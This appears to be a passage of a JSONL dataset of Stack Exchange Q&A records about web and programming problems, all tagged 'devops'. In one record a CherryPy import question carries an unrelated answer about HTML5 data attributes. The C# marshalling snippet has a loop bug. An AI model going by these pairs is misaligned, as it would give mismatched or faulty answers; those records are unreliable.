as):\n```\n```\nresizeRatio = (currentFormWidth - labelsAreaWidth) / (baseFormWidth - labelsAreaWidth)\n\ncontrol.left = (baseLeft - labelsAreaWidth) * resizeRatio + labelsAreaWidth\ncontrol.width = baseWidth * resizeRatio\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.665021"}
{"id": "hf_2bf1cfabee42", "question": "<p>I'm looking for a plugin for jQuery that can validate as a key is pressed and after it loses focus (text boxes). </p>\n\n<p>I'm currently using <a href=\"http://www.overset.com/2008/07/31/jval-jquery-form-field-validation-plugin/\" rel=\"nofollow noreferrer\">jVal - jQuery Form Field Validation Plugin</a>. It works pretty good.  The only issue I have is that I can only use a generic error message.</p>\n\n<p>For example:\n  I need a string to between 2 and 5 characters.  If its too short I would like to display an error message that indicates it to short, equally if its too long. I know I could display an error message that requires the string to between 2 and 5 characters.  <strong>The validation that is being done is more complicated.</strong> </p>\n\n<p>Any ideas of other validators or how I could use this plug-in to display unique error messages.</p>\n\n<hr>\n\n<p>Edit:</p>\n\n<p>The validation tool needs to prevent particular letters or numbers and not require a form.  </p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This one looks like it would fit your description:\njQuery plugin:validation (Homepage)\ndemo\nAPI docs\nHere's a snippet of code copied from the source of the demo:\n```\n```\n// validate signup form on keyup and submit\n$(\"#signupForm\").validate({\n    rules: {\n        firstname: \"required\",\n        lastname: \"required\",\n        username: {\n            required: true,\n            minlength: 2\n        },\n        password: {\n            required: true,\n            minlength: 5\n        },\n        confirm_password: {\n            required: true,\n            minlength: 5,\n            equalTo: \"#password\"\n        },\n        email: {\n            required: true,\n            email: true\n        },\n        topic: {\n            required: \"#newsletter:checked\",\n            minlength: 2\n        },\n        agree: \"required\"\n    },\n    messages: {\n        firstname: \"Please enter your firstname\",\n        lastname: \"Please enter your lastname\",\n        username: {\n            required: \"Please enter a username\",\n            minlength: \"Your username must consist of at least 2 characters\"\n        },\n        password: {\n            required: \"Please provide a password\",\n            minlength: \"Your password must be at least 5 characters long\"\n        },\n        confirm_password: {\n            required: \"Please provide a password\",\n            minlength: \"Your password must be at least 5 characters long\",\n            equalTo: \"Please enter the same password as above\"\n        },\n        email: \"Please enter a valid email address\",\n        agree: \"Please accept our policy\"\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.750483"}
{"id": "hf_ba8f7c1c4b66", "question": "<p>How would I assign a variable within scriplet code in JSP &lt;%>  and then use struts logic tags to do stuff based on the value of the variable assigned in the scriplet code block?</p>\n\n<p>I have tried using struts:logic equal and greaterthan to no avail....</p>\n\n<p>Many Thanks,</p>\n", "question_body": "", "answer": "What you are trying to do (if I understand you correct) is basically this:\n```\n```\n<% String foo = \"Test\"; %>\n<bean:write name=\"foo\" />\n```\n```\nWhich, as you already know, doesn't work. That would give an error like this:\nCannot find bean foo in any scope\nWhat I usually do, is to put my data in the page scope like this:\n```\n```\n<% pageContext.setAttribute(\"foo\", \"Test\"); %>\n<bean:write name=\"foo\" />\n```\n```\n(This is for Struts 1.1. Newer versions may provide a better way to do it.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.790281"}
{"id": "hf_80a891b2bd26", "question": "<p>We are logging any exceptions that happen in our system by writing the Exception.Message to a file. However, they are written in the culture of the client. And Turkish errors don't mean a lot to me.</p>\n\n<p>So how can we log any error messages in English without changing the users culture?</p>\n", "question_body": "", "answer": "I would imagine one of these approaches:\nThe exceptions are only ever read by you, i.e. they are not a client feature, so you can use hardwired non localised strings that won't change when you run in Turkish mode.\nInclude an error code e.g.\n```\n0x00000001\n```\nwith each error so that you can easily look it in up in an English table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.813910"}
{"id": "hf_6e0141b2cba9", "question": "<p>I need to make a mouseover menu that opens diagonally (from top-left to bottom-right). </p>\n", "question_body": "", "answer": "Use a Tween to tween the height from 0 to whatever height you want, and width from 0 to whatever width you want.\nYou can take examples of making a popup menu show from the code here, as well as examples of performing actions on hover.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.849265"}
{"id": "hf_4b1401b6028a", "question": "<p>I would like to match the time (10.00) from a string with the date and time (\"21.01.08 10.00\"). I'm using the following regular expression:</p>\n\n<pre><code>new RegExp(\"\\\\b[0-9]{1,2}\\\\.[0-9]{1,2}\\\\b\" \"g\");\n</code></pre>\n\n<p>But this matches 21.01 from 21.01.08 and 10.00.</p>\n\n<p>I'm using PCRE as my regualar expression engine. </p>\n\n<p>Update:</p>\n\n<p>I'm sorry, i should have more been more clear. The data and time are part of a larger string. I want to extract the time from that string.</p>\n\n<p>For example:</p>\n\n<p>\"On 21.01.08 from 10.00 a party will take place in the library\"\n\"21.08.08 - At 10:00 there will be a party\"\n\"On 21.08.08 you are scheduled for a ... . The ... will begin at 10.00\"</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "try using\n```\n```\nnew RegExp(\"\\\\b[0-9]{1,2}\\\\.[0-9]{1,2}$\" \"g\");\n```\n```\n$ indicates end of string", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.930978"}
{"id": "hf_bb0ea41260df", "question": "<p>I've been looking at Dojo, and it has some nice tricks, however its quite huge IMHO. Basically when viewing my test my slow machine (600mhz), just loading Dojo was kind of painful, and can imagine lots of mobile devices will also not be happy with it.</p>\n\n<p>Is there a slim version or something like that available?</p>\n", "question_body": "", "answer": "What do you mean by 'loading Dojo'?\nIf you mean opening a page with a clean cache, and the site takes a long time to load, then it may be because you're using a non-minified version of the library.\nIf you mean loading some Dijits, or\na full-featured page\n, then that's probably a combination of your browser's speed with JS, your computer's speed, and Dojo's speed.\nTry loading something similar from another framework like\nExt JS\nor\njQuery\nto see if they are any different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:05.990128"}
{"id": "hf_506e148830e4", "question": "<p>Are htaccess redirects any slower/put any more strain on Apache than redirects in configuration files? Also, how big can a number of redirects in htaccess get before they start decreasing performance?</p>\n", "question_body": "", "answer": "Using a .htaccess file is slower than using a configuration file - a .htaccess file is parsed whenever a request is made to a directory it affects - this allows for changing the file without restarting the server. Since a configuration file is parsed only once at server start, it's faster.\nThe amount of directives you can have in a .htaccess file without significant performance impact will be based on the complexity of the rules and your server's specifics, although the main performance hit will be from using the .htaccess file at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.026274"}
{"id": "hf_5ce23ec8c190", "question": "<p>Other than Visual Studio, what tool have you found best to create, edit, maintain, and possibly debug your XSLT files?</p>\n\n<p>I work on a fairly big project and we have tons of XSLT files and they have grown quite complex in their implementation.</p>\n\n<p>The language seems so brittle. It would be nice to navigate and identify errors more quickly.</p>\n", "question_body": "", "answer": "Liquid XML Studio\nis pretty good at real-time interpretation of your XPATH queries.\nCooktop\nalso lets me run my XPATH queries and shows me the XML and HTML generated by running the XSLT against a given XML.\nAlso, a colleague tells me that newer versions of\nAdobe Dreamweaver\nallows you to associate an XML file with an XSLT file and run the transformation.\nWhenever possible i use\nSubversion\nfor change-tracking.\nAnd for navigation, i most often use\nVIM\n(or\nVIEmu\n) and sometimes a custom Visual Studio extension that builds an index of the current document's xsl:template and xsl:variable nodes to provide one-click navigation to the root entries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.049812"}
{"id": "hf_b042d4f16fc4", "question": "<p>I know I should be using htmlentities for all my form text input fields but this doesn't work:</p>\n\n<pre><code>&lt;?php\necho \"&lt;tr&gt;\n        &lt;td align=\\\"right\\\"&gt;\".Telephone.\" :&lt;/td&gt;    \n        &lt;td&gt;&lt;input type=\\\"text\\\" name=\\\"telephone\\\" size=\\\"27\\\"\n            value=\\\"htmlentities($row[telephone])\\\"&gt; Inc. dialing codes\n        &lt;/td&gt;    \n&lt;/tr&gt;\";\n?&gt;\n</code></pre>\n\n<p>It simply shows the input value as \"htmlentities(0123456789)\" in the form? What have I done wrong please?</p>\n", "question_body": "", "answer": "try using\n```\n```\nvalue=\\\"\" . htmlentities($row[telephone]) . \"\\\"\n```\n```\nthere. Currently, your string simply contains the htmlentities string and splices the variable in. You need to get out the string, call the function and put it's result in place, as above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.124162"}
{"id": "hf_f9ce0161379a", "question": "<p>I've got a unidirectional tree of objects, in which each objects points to its parent. Given an object, I need to obtain its entire subtree of descendants, as a collection of objects. The objects are not actually in any data structure, but I can easily get a collection of all the objects.</p>\n\n<p>The naive approach is to examine each object in the batch, see if the given object is an ancestor, and keep it aside. This would not be too efficient... It carries an overhead of O(N*N), where N is the number of objects.</p>\n\n<p>Another approach is the recursive one, meaning search for the object's direct children and repeat the process for the next level. Unfortunately the tree is unidirectional... there's no direct approach to the children, and this would be only slightly less costly than the previous approach.</p>\n\n<p>My question: Is there an efficient algorithm I'm overlooking here?</p>\n\n<p>Thanks,</p>\n\n<p>Yuval =8-)</p>\n", "question_body": "", "answer": "Your question is a little abstract, but\nnested sets\n(scroll down, might be a little too mysql-specific) might be an option for you. It's extremely fast for read operations, though any modifications are quite complex (and have to modify half the tree on average).\nThat requires the ability to modify your data structure, though. And I guess if you can modify the structure, you could just as well add references to child objects. If you can't modify the structure, I doubt there's anything faster than your ideas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.168508"}
{"id": "hf_c032d09bd33c", "question": "<p>I am trying to use a third party DLL that wants an int** as one of the parameters to the method.  It describes the parameter as the address of the pointer that will point to the memory allocation.</p>\n\n<p>Sorry for any confusion.  The parameter is two-way I think.  The DLL is for talking to an FPGA board and the method is setting up DMA transfer between the host PC and the PCI board.</p>\n", "question_body": "", "answer": "Use a by-ref\n```\nSystem.IntPtr\n```\n.\n```\n```\n[DllImport(\"thirdparty.dll\")]\n static extern long ThirdPartyFunction(ref IntPtr arg);\n\n long f(int[] array)\n  { long retval = 0;\n    int  size   = Marshal.SizeOf(typeof(int));\n    var  ptr    = IntPtr.Zero;\n\n    try \n     { ptr = Marshal.AllocHGlobal(size * array.Length);\n\n       for (int i= 0; i < array.Length; ++i) \n        { IntPtr tmpPtr = new IntPtr(ptr.ToInt64() + (i * size));\n          Marshal.StructureToPtr(array, tmpPtr, false);\n        }\n\n       retval = ThirdPartyFunction(ref ptr);\n     }\n    finally \n     { if (ptr != IntPtr.Zero) Marshal.FreeHGlobal(ptr);\n     }\n\n    return retval;\n  }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.202910"}
{"id": "hf_43e1a311cf3e", "question": "<p>I have a chart in a Worksheet in Excel and I have a macro set up so that when I change the value in a certain cell the range of data in the chart is set to <code>A2</code> down as far as the row number corresponding in this certain cell.</p>\n\n<p>What I can't seem to be able to do is to modify the axis as the specified axis no longer covers the range of the graph i.e. the current X axis is set to:</p>\n\n<pre><code>=Sheet1!$C$2:$C$600\n</code></pre>\n\n<p>I can't figure out how I can update this in a macro. Any help would be much appreciated.</p>\n", "question_body": "", "answer": "You should be able to set the XValues property in the same way you did in Lance's answer for your\nother question\n.\n```\n```\nCharts(\"chartname\").SeriesCollection(1).XValues = \"=MYXAXIS\"\n```\n```\nor whatever you call the named range for the x-axis values. If you have multiple series in your chart, you'll want to change the value in SeriesCollection to refer to the right series.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.311321"}
{"id": "hf_70ea87195bfa", "question": "<p>I am currently developing an approval routing WCF service that will allow an user to create \"rules\" which determine how an request is routed.  The route is determined by comparing the \"ObjectToEvaluate\" property of the Request class against the \"ObjectToEvaluate\" property of the \"Rule\" class.  The \"UnitOfMeasurement\" enum determines how to cast the \"ObjectToEvaluate\" property for each class.  </p>\n\n<pre><code>public enum UnitOfMeasurement\n{\n    Currency = 1,\n    Numeric = 2,\n    Special = 3,\n    Text = 4,\n}\n\npublic class Request\n{\n    public object ObjectToEvaluate { get; set; }\n}\n\npublic class Rule\n{\n    public object ObjectToEvaluate { get; set; }\n\n    public virtual void ExecuteRule()\n    {\n        //logic to see if it passes the rule condition\n    }\n}\n</code></pre>\n\n<p>What would be the best way to implement the method to cast the \"ObjectToEvaluate\" property using the \"UnitOfMeasurement\" enum?</p>\n", "question_body": "", "answer": "Where are you getting the unit of measurement from? I can see the enum, but I don't see any reference to it elsewhere in the API.\nAssuming you do get it from somewhere, the easiest solution may well be a switch statement. It's a bit ugly, but:\nIt'll work\nIt's easy to understand\nIt'll be fast\nI'm still not entirely convinced I understand everything about the question though - particularly as you haven't explained what the other objects will be used for after casting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.334959"}
{"id": "hf_7c0f0acede03", "question": "<p>I have  stfw but I cannot find a simple / standalone  way to create a webservice client in java.</p>\n\n<p>Does anyone have a link/sample into this?</p>\n", "question_body": "", "answer": "How about using\nAxis2\n?\nJust follow the\nquickstart guide\nand you should be on your way.\nHere is another more descriptive\nguide", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.394204"}
{"id": "hf_b7b8e9b82c2c", "question": "<p>If I have a string (010) and i want to add 1 to it (011) what value type should i use to convert this string into a number for adding and at the same time preserve the whole number and not 10 + 1 = 11. </p>\n", "question_body": "", "answer": "```\n```\nif (int.TryParse(str, out i))\n    str = (i + 1).ToString(\"000\");\n```\n```\nHTH.\n(\nedit\n: fixed the problems pointed out by BoltBait and steffenj)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.417710"}
{"id": "hf_3291b148756d", "question": "<p>I have a WPF ListView which currently scrolls everytime I click on an item which is only partially visible.  How can I keep the control from scrolling that item into view (instead simply selecting the partially visible one)?  This behavior is very annoying when doing a drag from this control.   </p>\n\n<p>Thanks.</p>\n\n<p>Added:  I am looking for a solution to keep the control itself from scrolling when contents are clicked that the control believes are not fully visible.  Often this is by a few pixels and the scroll is not necessary.</p>\n", "question_body": "", "answer": "have you tried\nthis approach\n?\njust as an addon, I don't know how much you know about the subject, but\nhere is a good place\nto read more about it.\nadded:\nI just found that you can\nprevent the mouse wheel of scrolling\nas well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.475190"}
{"id": "hf_592cdd190474", "question": "<p>I have installed CherryPy 3.1.0,. Here is what happens when I try to run tutorial 9:</p>\n\n<pre><code>$ cd /Library/Python/2.5/site-packages/cherrypy/tutorial/\n$ python tut09_files.py\nTraceback (most recent call last):\n  File \"tut09_files.py\", line 48, in &lt;module&gt;\n    from cherrypy.lib import static\nImportError: cannot import name static\n</code></pre>\n\n<p>The previous line in the file:</p>\n\n<pre><code>import cherrypy\n</code></pre>\n\n<p>passes without error, so it appears that it can find cherrypy on the path. What am I missing?</p>\n", "question_body": "", "answer": "I am a big fan of the proposed HTML 5 solution (\n```\ndata-\n```\nprefixed attributes). Edit: I'd add that there are probably better examples for the use of custom attributes. For instance, data that a custom application will use that have no analogue in standard attributes (eg. customization for event handlers based on something that can't necessarily be expressed in a className or id).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.523086"}
{"id": "hf_84817429845f", "question": "<p>Hopefully I haven't misunderstood the meaning of \"duck typing\", but from what I've read, it means that I should write code based on how an object responds to methods rather than what type/class it is.</p>\n\n<p>Here's the code:</p>\n\n<pre><code>def convert_hash(hash)\n  if hash.keys.all? { |k| k.is_a?(Integer) }\n    return hash\n  elsif hash.keys.all? { |k| k.is_a?(Property) }\n    new_hash = {}\n    hash.each_pair {|k,v| new_hash[k.id] = v}\n    return new_hash\n  else\n    raise \"Custom attribute keys should be ID's or Property objects\"\n  end\nend\n</code></pre>\n\n<p>What I want is to make sure that I end up with a hash where the keys are an integer representing the ID of an ActiveRecord object. I don't particularly enjoy having to iterate through the hash keys twice with <code>all?</code> to determine if I need to grab the ID's out.</p>\n\n<p>Of course, I'll accept any other suggestions to improve this code as well :)</p>\n", "question_body": "", "answer": "How you write this method should depend on whether you expect an exception to be thrown during the course of normal program execution.  If you want a readable exception message because an end-user might see it, then throwing one manually makes sense.  Otherwise, I'd just do something like this:\n```\n```\ndef convert(hash)\n    new_hash = {}\n    hash.each_pair { |k,v| new_hash[ k.is_a?(Integer) ? k : k.id ] = v }\n    return new_hash\nend\n```\n```\nThis will accomplish exactly the same thing, and you'll still get an exception if an array key doesn't have an id field.  Even better, this uses a little more duck typing because now anything that has an id field will be acceptable, which is better than explicitly checking for something being a Property.  This makes your code more flexible, especially when unit testing.\nWe still have an explicit check for integer objects, but this kind of occasional special case is usually acceptable, especially when checking for built-in data types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.595152"}
{"id": "hf_11bcf02112ec", "question": "<p>I have a form using multiple <code>&lt;cfinput type=\"datefield\" ...&gt;</code>. They are positioned in such a way that the pop-up CSS calendar should appear over the field for others. However, the text fields for the other dates end up in front of the calendar.</p>\n\n<p>This is only an IE issue as Firefox and Safari work just fine.</p>\n\n<p>Is there a simple CSS hack or some other simple thing I can do to get the calendar to act as it should? Re-arranging the form is not very helpful.</p>\n", "question_body": "", "answer": "My first inclination is to attempt to add a style for the text fields with a negative z-index.  Alternately, you could attempt to apply a positive z-index to the popup.\nThe first would probably be easier, given the way that the popups are written dynamically -- CF passes any unrecognized or unused attributes through to the browser, so you could just add a style.  Something like:\n```\n```\n<cfinput type=\"datefiled\" name=\"bob\" value=\"\" style=\"z-index: -1;\">\n```\n```\nNot tested, YYMV.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.619494"}
{"id": "hf_f86483a2e85f", "question": "<p>I inherited this gigantic legacy Java web app using Struts 1.2.4. I have a specific question regarding ActionForms. Some of them have only String properties (even for numbers), some of them use the seemingly appropriate types (Integer, Date, String, etc). What's the best practice here?</p>\n\n<p>Also, it seems that if a property is of type Integer, and the value the user entered is not an integer value, Struts silently swallows this and just doesn't set the property. What's up with this?</p>\n", "question_body": "", "answer": "For Struts 1.2x, properties where the user enters or selects values on the HTML form and that are populated on the ActionForm instance automatically by the Struts HTML tags must be Strings or booleans. However, there's no reason why your ActionForm can't have getter methods that return the properties as more meaningful types for your application e.g. Date.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.646961"}
{"id": "hf_f42b61f9f036", "question": "<p>I am looking for a concise way to check a value to see if it is nil or zero.  Currently I am doing something like:</p>\n\n<pre><code>if (!val || val == 0)\n  # Is nil or zero\nend\n</code></pre>\n\n<p>But this seems very clumsy.</p>\n", "question_body": "", "answer": "I believe your code is incorrect; it will in fact test for three values:\n```\nnil\n```\n,\n```\nfalse\n```\n, and zero. This is because the\n```\n!val\n```\nexpression is true for all values that are false, which in Ruby is\n```\nnil\n```\nand\n```\nfalse\n```\n.\nThe best I can come up with right now is\n```\n```\nif val == nil || val == 0\n  # do stuff\nend\n```\n```\nWhich of course is not very clever, but (very) clear.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.671431"}
{"id": "hf_36e54f2fe605", "question": "<p>How do I convert a hex string to an integer?</p>\n<pre><code>&quot;0xffff&quot;   ⟶   65535\n&quot;ffff&quot;     ⟶   65535\n</code></pre>\n", "question_body": "", "answer": "```\nint(hexstring, 16)\n```\ndoes the trick, and works with and without the 0x prefix:\n```\n```\n>>> int(\"a\", 16)\n10\n>>> int(\"0xa\", 16)\n10\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.726594"}
{"id": "hf_134bc507290a", "question": "<p>I inherited this gigantic legacy Java web app using Struts 1.2.4. I have a specific question regarding Actions. Most of the pages have exactly one Action, and the processExecute() methods are hideous monsters (very long and tons of nested if statements based on request parameters).</p>\n\n<p>Given that Actions are an implementation of the command pattern, I'm thinking to split these Actions into one Action per user gesture. This will be a large refactoring though, and I'm wondering:</p>\n\n<ol>\n<li>Is this the right direction?</li>\n<li>Is there an intermediate step I could take, a pattern that deals with the mess inside the monolithic actions? Maybe another command pattern inside the Action?</li>\n</ol>\n", "question_body": "", "answer": "My way of dealing with this would be:\ndont do 'everything at once'\nwhenever you change anything, leave it better than you found it\nreplacing conditionals with separate Action implementations is one step.\nBetter yet: Make your implementations separate from the Action classes so that you can use it when you change frameworks\nKeep your new Command implementation\nabsolutely\nwithout references to Struts, use your new Actions as Wrapper around these implementations.\nYou might need to provide interfaces to your Struts ActionForms in order to pass them around without copying all the data. On the other hand - you might want to pass around other objects than ActionForms that are usually a bunch of Strings (see your other question about\nStruts 1.2 ActionForms\n)\nstart migrating parts to newer & better technology. Struts 1.2 was great when it came out, but is definitely not what you want to support in eternity. There are some generations of better frameworks now.\nThere's definitely more - Sorry, I'm running out of time here...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.749917"}
{"id": "hf_d4b05521d960", "question": "<p>How would I drag and drop something into a static control?  It looks like I need to create a sub class of COleDropTarget and include that as a member variable in a custom CStatic.  That doesn't appear to be working though.  When I try and drag something onto the Static control I get the drop denied cursor.</p>\n", "question_body": "", "answer": "The static control's\n```\nm_hWnd\n```\nmust be valid when you call\n```\nCOleDropTarget::Register\n```\n, which is why it doesn't work from within your\n```\nCMyStatic\n```\nconstructor. What you can do is override\n```\nCWnd::PreSubclassWindow\n```\nwithin your\n```\nCMyStatic\n```\nclass:\n```\n```\nclass CMyStatic : public CStatic {\n    ...\n    virtual void PreSubclassWindow();\n};\n\nvoid CMyStatic::PreSubclassWindow()\n{\n    CStatic::PreSubclassWindow();\n\n    m_MyDropTarget.Register(this);\n}\n```\n```\nThere's a really good article\nhere\non CodeProject that you may find helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.777941"}
{"id": "hf_629ebd3eab42", "question": "<p>Please don't reply I should use ddd, nemiver, emacs, vim, or any other front-end, I just prefer gdb as it is, but would like to see its output with some terminal colors.</p>\n", "question_body": "", "answer": "It's not colours, but consider gdb's\ntext gui\n. It makes a vast difference to how usable gdb is.\nYou can launch it with:\n```\n```\ngdb -tui executable.out\n```\n```\nScreenshot:\nAs you can see, the main features are:\nshows what line of the source we are on and surrounding lines\nshows breakpoints", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.802309"}
{"id": "hf_14cfbea7bfc4", "question": "<p>Why would you choose java over others? Why did you choose java to program your application?</p>\n\n<p>Please include what you are using java for (desktop application/ web application/ mobile).</p>\n", "question_body": "", "answer": "Java provides a very rich API right out of the box and hands-down produces the most portable applications since there is a Java VM for almost every platform.\nBTW: I haven't used Java since I left college since I work for a Microsoft shop, but I can't think of a single thing I can do in C# that I can't do in Java, whether it be enterprise applications, web applications, or desktop applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.849713"}
{"id": "hf_f32008c5a261", "question": "<p>I'd like to have comments in my code, but I want them to be removed before deploying.\nYes, it's not hard to write such a thing, but if it already exists…\nAnd how about comments in ASP pages?</p>\n", "question_body": "", "answer": "Sounds like you are looking for a JSMin tool or similar.\nThere are many tools which you can purchase, but there are also some online tools you can use:\nhttp://www.askapache.com/tools/online-compression-tool-compares-packer-jsmin-dojo-and-yui-compressor.html\nhttp://www.askapache.com/online-tools/js-compress/\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.925607"}
{"id": "hf_081daaf782e5", "question": "<p>I have a footer that is a 1 x 70px, which is set as the background and tiles horizonally.</p>\n\n<p>In cases when the web page does not contain a lot of content on it, it will display the footer above where the footer should be. I want it to fill in with a solid color, so if they scroll down, it won't show the footer, then the white under the footer.</p>\n\n<p>Here is the style I have for the footer.</p>\n\n<pre><code>.footer{\n    background:#055830 url('/images/footer_tile.gif') repeat-x top left;\n    color:#fff;\n    font-size:12px;\n    height: 70px;\n    margin-top: 10px;\n    font-family: Arial, Verdana, sans-serif;\n    width:100%;\n}\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/pUzIQ.jpg\" alt=\"alt text\"></p>\n\n<p>I want the footer to look like this:\n<img src=\"https://i.stack.imgur.com/s96Ft.jpg\" alt=\"alt text\"></p>\n", "question_body": "", "answer": "You can use\n```\n```\nposition:absolute;\nbottom: 0;\n```\n```\nto put the footer at the bottom always...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:06.973540"}
